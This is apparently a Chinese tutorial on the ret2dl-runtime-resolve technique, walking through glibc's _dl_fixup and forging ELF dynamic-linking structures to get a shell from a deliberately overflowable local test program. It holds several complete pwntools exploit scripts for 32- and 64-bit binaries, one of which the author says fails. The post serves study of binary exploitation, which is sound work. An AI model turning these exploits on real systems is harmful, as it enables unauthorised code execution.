ret2dl-runtime-resolve详细分析(32位&64位)
Ret2dl-runtime-resolve技术在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。ELF有plt表和got表,程序调用外部函数函数时,call的是plt表项,而plt...
Ret2dl-runtime-resolve技术
在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。
ELF有plt表和got表,程序调用外部函数函数时,call的是plt表项,而plt表中,是这样的
plt表里,取出了got表对应函数的地址,然后jmp到地址处。
我们看看got表是什么样子的
并没有指向read函数,我们跟踪过去看看
Push了一个数字,然后又jmp到了plt0处
最终发现,先push了一个地址,然后跳到了第二个划线地址处
跟踪进去看看
其实这就是dl_runtime_resolve函数,我们运行完后,再观察got表
其实就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,我们的read在第三个位置,因此push 2
那么,dl_runtime_resolve是如何工作的呢?我们查看glibc的源码,看看
它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c
- #ifndef reloc_offset
- # define reloc_offset reloc_arg
- # define reloc_index reloc_arg / sizeof (PLTREL)
- #endif
- DL_FIXUP_VALUE_TYPE
- attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
- _dl_fixup (
- # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
- ELF_MACHINE_RUNTIME_FIXUP_ARGS,
- # endif
- struct link_map *l, ElfW(Word) reloc_arg) {
- //获取symtab(存放dynsym的数组)
- const ElfW(Sym) *const symtab
- = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
- //获取strtab(存放符号名的数组)
- const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
- //获取reloc_arg对应的rel.plt项
- const PLTREL *const reloc
- = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
- //获取reloc_arg对应的dynsym
- const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
- const ElfW(Sym) *refsym = sym;
- //指向对应的got表,以便将解析结果写回去
- void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
- lookup_t result;
- DL_FIXUP_VALUE_TYPE value;
- /* Sanity check that we're really looking at a PLT relocation. */
- assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
- /* Look up the target symbol. If the normal lookup rules are not
- used don't look in the global scope. */
- if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
- const struct r_found_version *version = NULL;
- if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
- const ElfW(Half) *vernum =
- (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
- ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
- version = &l->l_versions[ndx];
- if (version->hash == 0)
- version = NULL;
- }
- /* We need to keep the scope around so do some locking. This is
- not necessary for objects which cannot be unloaded or when
- we are not using any threads (yet). */
- int flags = DL_LOOKUP_ADD_DEPENDENCY;
- if (!RTLD_SINGLE_THREAD_P) {
- THREAD_GSCOPE_SET_FLAG ();
- flags |= DL_LOOKUP_GSCOPE_LOCK;
- }
- #ifdef RTLD_ENABLE_FOREIGN_CALL
- RTLD_ENABLE_FOREIGN_CALL;
- #endif
- //根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym中
- result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
- version, ELF_RTYPE_CLASS_PLT, flags, NULL);
- /* We are done with the global scope. */
- if (!RTLD_SINGLE_THREAD_P)
- THREAD_GSCOPE_RESET_FLAG ();
- #ifdef RTLD_FINALIZE_FOREIGN_CALL
- RTLD_FINALIZE_FOREIGN_CALL;
- #endif
- //得到结果
- value = DL_FIXUP_MAKE_VALUE (result,
- sym ? (LOOKUP_VALUE_ADDRESS (result)
- + sym->st_value) : 0);
- } else {
- /* We already found the symbol. The module (and therefore its load
- address) is also known. */
- value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
- result = l;
- }
- /* And now perhaps the relocation addend. */
- value = elf_machine_plt_value (l, reloc, value);
- if (sym != NULL
- && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
- value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
- /* Finally, fix up the plt itself. */
- if (__glibc_unlikely (GLRO(dl_bind_not)))
- return value;
- //将结果写回到got表中
- return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
- }
阅读上面源代码,我们知道了,解析时是根据符号名字符串来解析函数的,如果我们能够控制符号名字符串,那么,我们就可以实现解析任何函数,从而达到无需泄露来得到想要的函数。
我们写一个简单的程序来说明ret2dl-resolve技术,现在,我们有以下程序
ret2dl-solv.c
- #include <unistd.h>
- #include <string.h>
- void fun(){
- char buffer[0x20];
- read(0,buffer,0x200);
- }
- int main(){
- fun();
- return 0;
- }
先看在NO_RELRO下的情况
先分析32位情况
- //编译
- //gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dlsolve2
在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造
dynstr。要注意对齐。
我们利用read,在bss段布下假的dynstr,然后修改dynamic段里strtab地址,让它指向fake_dynstr,然后手动调用dl_runtime_resolve函数解析,即可得到我们需要的函数。
我们的exp脚本如下
- #coding:utf8
- #伪造dynstr完成无泄漏攻击,仅适用于NO RELRO
- from pwn import *
- sh = process('./ret2dlsolve2')
- elf = ELF('./ret2dlsolve2')
- read_plt = elf.plt['read']
- #此处是用来加载read的地址的,当我们伪造了dynstr后,再调用这个,就能将read解析为我们需要的函数
- read_plt_load = 0x80482C6
- leave_ret = 0x8048375
- pop_ebp = 0x80484cb
- #攻击目标,我们要修改这里,让它指向fake_dynstr
- target_addr = 0x80496B0 + 4
- bss = 0x8049778
- fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00'
- #做栈转移,同时继续下一轮的read
- payload = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
- sh.sendline(payload)
- #由于多个有参数的函数同时写到一个payload,是完成不了的,互相冲突,因此read_plt_load的参数也是target_addr,即system(target_addr),因此
- #我们在target_addr处使用shell注入,即;sh
- rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0) + p32(target_addr) + p32(0x100)
- #将fake_dynstr布置在bss + 0x850处
- payload2 = rop.ljust(0x50,'\x00') + fake_dynstr
- sh.sendline(payload2)
- #raw_input()
- #修改dynamic里面的dynstr为fake_dynstr,同时后面的;sh是一个shell注入
- sh.sendline(p32(bss+0x850) + ';sh')
- sh.interactive()
让我们再看看64位的情况
- //编译
- //gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -o ret2dlsolve2_64
基本一致,只是要考虑栈环境,不然system调用不成功
- #coding:utf8
- #关键是要解决堆栈平衡,不然system不会成功,因此,我们在第一次read时就事先把rop给输入进去了
- from pwn import *
- sh = process('./ret2dlsolve2_64')
- elf = ELF('./ret2dlsolve2_64')
- read_plt = elf.plt['read']
- fun_addr = elf.sym['fun']
- #我们攻击的目标,我们要在此处修改指向fake_dynstr
- target_addr = 0x600768 + 8
- #用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数
- plt0_load = 0x4003B0
- #pop rdi;ret;
- pop_rdi = 0x400553
- #pop rsi ; pop r15 ; ret
- pop_rsi = 0x400551
- #伪造dynstr
- fake_dynstr = '\x00libc.so.6\x00system\x00'
- bss = 0x6008F8
- #第一次构造2个输入机会,分别输入伪造的字符串,伪造的字符串的地址,rop
- rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) + p64(0)
- payload = rop.ljust(0x28,'\x00') + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt)
- payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt)
- payload += rop
- sh.sendline(payload)
- #发送伪造的字符串
- payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr
- sleep(1)
- sh.sendline(payload2)
- sleep(1)
- #修改dynsym里的strtab为我们伪造的dynstr
- sh.sendline(p64(bss + 0x10))
- sh.interactive()
接下来,我们看看PARTIAL_RELRO的情况
在PARTIAL_RELRO情况下,dynamic不可写,因此不再像上面那样简单的利用,我们需要伪造rel.plt。回过来看看源码
在获取reloc时未检查下标越界,而符号名又是通过sym->st_name取得
因此,我们在可控范围内同时伪造rel.plt、sym和dynstr,那么就能完成利用
我们先来看看32位情况下
- //编译
- //gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -m32 -o ret2dlsolve
各个数据结构,在源代码里查看对应的结构体,结合IDA调试现有的数据伪造即可
先是伪造sym
- typedef struct
- {
- Elf32_Word st_name; //符号名相对.dynstr起始的偏移
- Elf32_Addr st_value;
- Elf32_Word st_size;
- unsigned char st_info; //对于导入符号,值为0x12
- unsigned char st_other;
- Elf32_Section st_shndx;
- }Elf32_Sym;
我们可以参照IDA调试里现有的来改
- #开始伪造dynsym
- fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
然后我们伪造rel.plt
- typedef struct
- {
- Elf32_Addr r_offset; //指向GOT表的指针
- Elf32_Word r_info;
- //导入符号的信息,r_info = (index) << 8 + 0x7
- } Elf32_Rel;
同样可以参照IDA调试里现有的来改
- #开始伪造rel.plt
- fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)
伪造后,我们调用dl_runtime_resolve函数时的第二个参数设置为reloc_arg=fake_rel_addr - rel_addr,这样就能解析出我们指定的函数了。
- #coding:utf8
- #重要,基于dl-runtime的免泄露地址,解析任意函数,实现任意函数的调用
- #适用于Partial RELRO和NO RELRO
- from pwn import *
- sh = process('ret2dlsolve')
- elf = ELF('ret2dlsolve')
- read_got = elf.got['read']
- read_plt = elf.plt['read']
- leave_ret = 0x8048395
- pop_ebp = 0x80484eb
- #真正的dynstr的起始位置
- dynstr_addr = 0x804821C
- #真正的dynsym的起始地址
- dynsym_addr = 0x80481CC
- #真正的rel.plt的起始位置
- rel_addr = 0x8048298
- #调用dll_runtime_resolve处
- plt0 = 0x80482D0
- #bss段开始的位置
- bss = 0x804A01C
- #我们准备布置system字符串到bss+0x900处
- system_str = bss + 0x900
- #接下来布置/bin/sh字符串
- binsh_str = system_str + len('system') + 1
- #接下来布置fake_dynsym
- fake_dynsym_addr = bss + 0x910
- #开始伪造dynsym
- fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
- #接下来布置fake_rel
- fake_rel_addr = fake_dynsym_addr + len(fake_dynsym)
- #开始伪造rel.plt
- fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)
- #我们做栈迁移,同时继续调用read,向bss+0x800处写数据,注意,因为栈是从高往低增长,因此我们预留了0x800的空间
- #需要注意的是,预留的空间要尽可能大一点,保证dll_runtime_resolve的栈空间够用,不然不能成功,这个问题搞了好久
- payload1 = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
- #第一次,我们做栈迁移,同时继续调用read读取下一轮数据
- sh.sendline(payload1)
- #第二次,我们需要发送rop以及伪造的数据结构
- rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)
- rop += p32(0) + p32(binsh_str)
- payload2 = rop.ljust(0x900-0x800,'\x00') + ('system\x00/bin/sh\x00'.ljust(0x10,'\x00'))
- payload2 += fake_dynsym + fake_rel
- sh.sendline(payload2)
- sh.interactive()
然后我们看看64位的情况下
- //编译
- //gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -o ret2dlsolve_64
- #coding:utf8
- #64位情况下,伪造rel.plt变得不可行,因为在
- '''''if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- {
- const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
- ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
- version = &l->l_versions[ndx];
- if (version->hash == 0)
- version = NULL;
- }
- '''
- #这里,出现了访问未映射的内存
- #主要是reloc->r_info过大的原因,因为我们在bss段伪造的数据,而bss段一般位于0x600000
- #然后真正的rel.plt位于0x400000内,导致过大。
- #如果我们在里0x400000处有可读写的区域,或许就可以成功
- #本脚本在最后一步调用dl_runtime_resolve解析符号失败,因为上述原因
- from pwn import *
- sh = process('./ret2dlsolve_64')
- elf = ELF('./ret2dlsolve_64')
- read_plt = elf.plt['read']
- read_got = elf.got['read']
- pop_rbp = 0x400468
- pop_rdi = 0x400583
- #pop rsi ; pop r15 ; ret
- pop_rsi = 0x400581
- leave_ret = 0x400506
- #用于解析符号dl_runtime_resolve
- plt_load = 0x4003E0
- #bss段
- bss = 0x601030
- #第一次,我们做栈迁移,同时继续调用read输入数据
- payload = 'a'*0x28 + p64(pop_rbp) + p64(bss + 0x580) + p64(pop_rsi) + p64(bss + 0x580) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(leave_ret)
- raw_input()
- sh.sendline(payload)
- #真正的dynstr的地址
- dynstr = 0x400318
- #真正的dynsym的地址
- dynsym = 0x4002B8
- #真正的rel.plt的地址
- rel_plt = 0x4003B0
- #system字符串存储的字符串的地址
- system_str_addr = bss + 0x600
- #/bin/sh字符串存的地址
- binsh_addr = system_str_addr + len('system') + 1
- #伪造的dynsym地址
- fake_dynsym_addr = bss + 0x618
- #伪造的dynsym
- fake_dynsym = (p32(system_str_addr - dynstr) + p8(0x12)).ljust(0x18,'\x00')
- #伪造的rel地址,0x8是align作用
- fake_rel_addr = fake_dynsym_addr + len(fake_dynsym) + 0x8
- #伪造rel.plt
- fake_rel = p64(read_got) + p64((((fake_dynsym_addr - dynsym) / 0x18) << 32) + 0x7) + p64(0)
- rop = '\x00'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(plt_load) + p64( (fake_rel_addr - rel_plt) / 0x18)
- payload2 = rop.ljust(0x80,'\x00') + ('system\x00/bin/sh\x00').ljust(0x18,'\x00')
- payload2 += fake_dynsym + '\x00'*0x8 + fake_rel
- raw_input()
- sh.sendline(payload2)
- sh.interactive()
理论上和32位差不多,但是出现了访问错误,因为在中间的执行过程中,访问到了一段未映射的地址处。
因此,我们得另外想办法,那么得回过来看源代码
- if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- {
- ....
- }
第一种方法是修改link_map,使得条件不成了。这种方法需要知道link_map的地址,也就是需要泄露link_map的地址。但是这显得很鸡肋,既然能够泄露,干嘛要用ret2-dl-resolve呢?
另一种方法是绕过最外层的if
- if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
- ...
- } else {
- /* We already found the symbol. The module (and therefore its load
- address) is also known. */
- value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
- result = l;
- }
我们到最外层的else里去,如果,我们伪造link_map,让sym->st_value为某个已经解析了的函数的地址,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址。
- typedef struct
- {
- Elf64_Word st_name; /* Symbol name (string tbl index) */
- unsigned char st_info; /* Symbol type and binding */
- unsigned char st_other; /* Symbol visibility */
- Elf64_Section st_shndx; /* Section index */
- Elf64_Addr st_value; /* Symbol value */
- Elf64_Xword st_size; /* Symbol size */
- } Elf64_Sym;
如何让sym->st_value为已经解析的函数的地址?
如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得
为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可。
我们需要伪造这个数组里的几个指针,它们分别是
DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到
- typedef struct
- {
- Elf64_Sxword d_tag; /* Dynamic entry type */
- union
- {
- Elf64_Xword d_val; /* Integer value */
- Elf64_Addr d_ptr; /* Address value */
- } d_un;
- } Elf64_Dyn;
现在,我们就开始伪造
- #l_addr
- fake_link_map = p64(l_addr)
- #由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
- fake_link_map += fake_dyn_strtab
- fake_link_map += fake_dyn_symtab
- fake_link_map += fake_dyn_rel
- fake_link_map += fake_rel
- fake_link_map = fake_link_map.ljust(0x68,'\x00')
- #dyn_strtab的指针
- fake_link_map += p64(fake_dyn_strtab_addr)
- #dyn_strsym的指针
- fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
- #存入/bin/sh字符串
- fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
- #在fake_link_map_addr + 0xF8处,是rel.plt指针
- fake_link_map += p64(fake_dyn_rel_addr)
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- sh = process('./ret2dlsolve_64')
- elf = ELF('./ret2dlsolve_64')
- libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
- read_plt = elf.plt['read']
- read_got = elf.got['read']
- fun_addr = elf.sym['fun']
- #bss段
- bss = 0x601030
- l_addr = libc.sym['system'] - libc.sym['read']
- #注意,只要是可读写的内存地址即可,调试看看就知道了
- r_offset = bss + l_addr * -1
- #负数需要补码
- if l_addr < 0:
- l_addr = l_addr + 0x10000000000000000
- pop_rdi = 0x400583
- #pop rsi ; pop r15 ; ret
- pop_rsi = 0x400581
- #用于解析符号dl_runtime_resolve
- plt_load = 0x4003E6
- #第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
- payload = 'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)
- #raw_input()
- sleep(1)
- sh.sendline(payload)
- #真正的dynstr的地址
- dynstr = 0x400318
- #我们准备把link_map放置在bss+0x100处
- fake_link_map_addr = bss + 0x100
- #假的dyn_strtab
- fake_dyn_strtab_addr = fake_link_map_addr + 0x8
- fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
- #假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
- #其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
- #并且(*(sym+5))&0x03 != 0也成立
- fake_dyn_symtab_addr = fake_link_map_addr + 0x18
- fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
- #假的dyn_rel
- fake_dyn_rel_addr = fake_link_map_addr + 0x28
- fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
- #假的rel.plt
- fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
- #l_addr
- fake_link_map = p64(l_addr)
- #由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
- fake_link_map += fake_dyn_strtab
- fake_link_map += fake_dyn_symtab
- fake_link_map += fake_dyn_rel
- fake_link_map += fake_rel
- fake_link_map = fake_link_map.ljust(0x68,'\x00')
- #dyn_strtab的指针
- fake_link_map += p64(fake_dyn_strtab_addr)
- #dyn_strsym的指针
- fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
- #存入/bin/sh字符串
- fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
- #在fake_link_map_addr + 0xF8处,是rel.plt指针
- fake_link_map += p64(fake_dyn_rel_addr)
- sleep(1)
- sh.sendline(fake_link_map)
- sleep(1)
- #raw_input()
- #现在,我们伪造好了link_map,那么,我们就可以来解析system了
- rop = 'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
- sh.sendline(rop)
- sh.interactive()
FULL_RELRO的情况下
程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,因为后续不再使用,没有必要。
因此在FULL_RELRO的情况下,要想利用ret2dl-runtime-resolve技术,就只能在栈中低位覆盖数据一定几率恢复出dl_runtime_resolve。
比如在glibc2.27下,我们低位覆盖这个数据,有很大几率指向dl_runtime_resolve函数的地址,然后,link_map我们可以在我们可控的地方伪造。
然而,仍然很难利用起来,由于低位覆盖的原因,我们不能继续再在这个位置后面布置其他ROP。因此,在不是特别没办法时,尽量考虑其他方法。
这里,介绍一种其他的方法来针对FULL_RELRO的方案来getshell,那就是低位覆盖栈中数据一定几率指向syscall,构造execve(“/bin/sh”,0,0)系统调用。要构造这样的ROP,其他gadget容易搞定,关键是edx必须为0,不然调用会出错,然而,pop edx或pop rdx这样的gadget基本没有,因此,我们可以ret2csu,来控制edx
更多推荐
所有评论(0)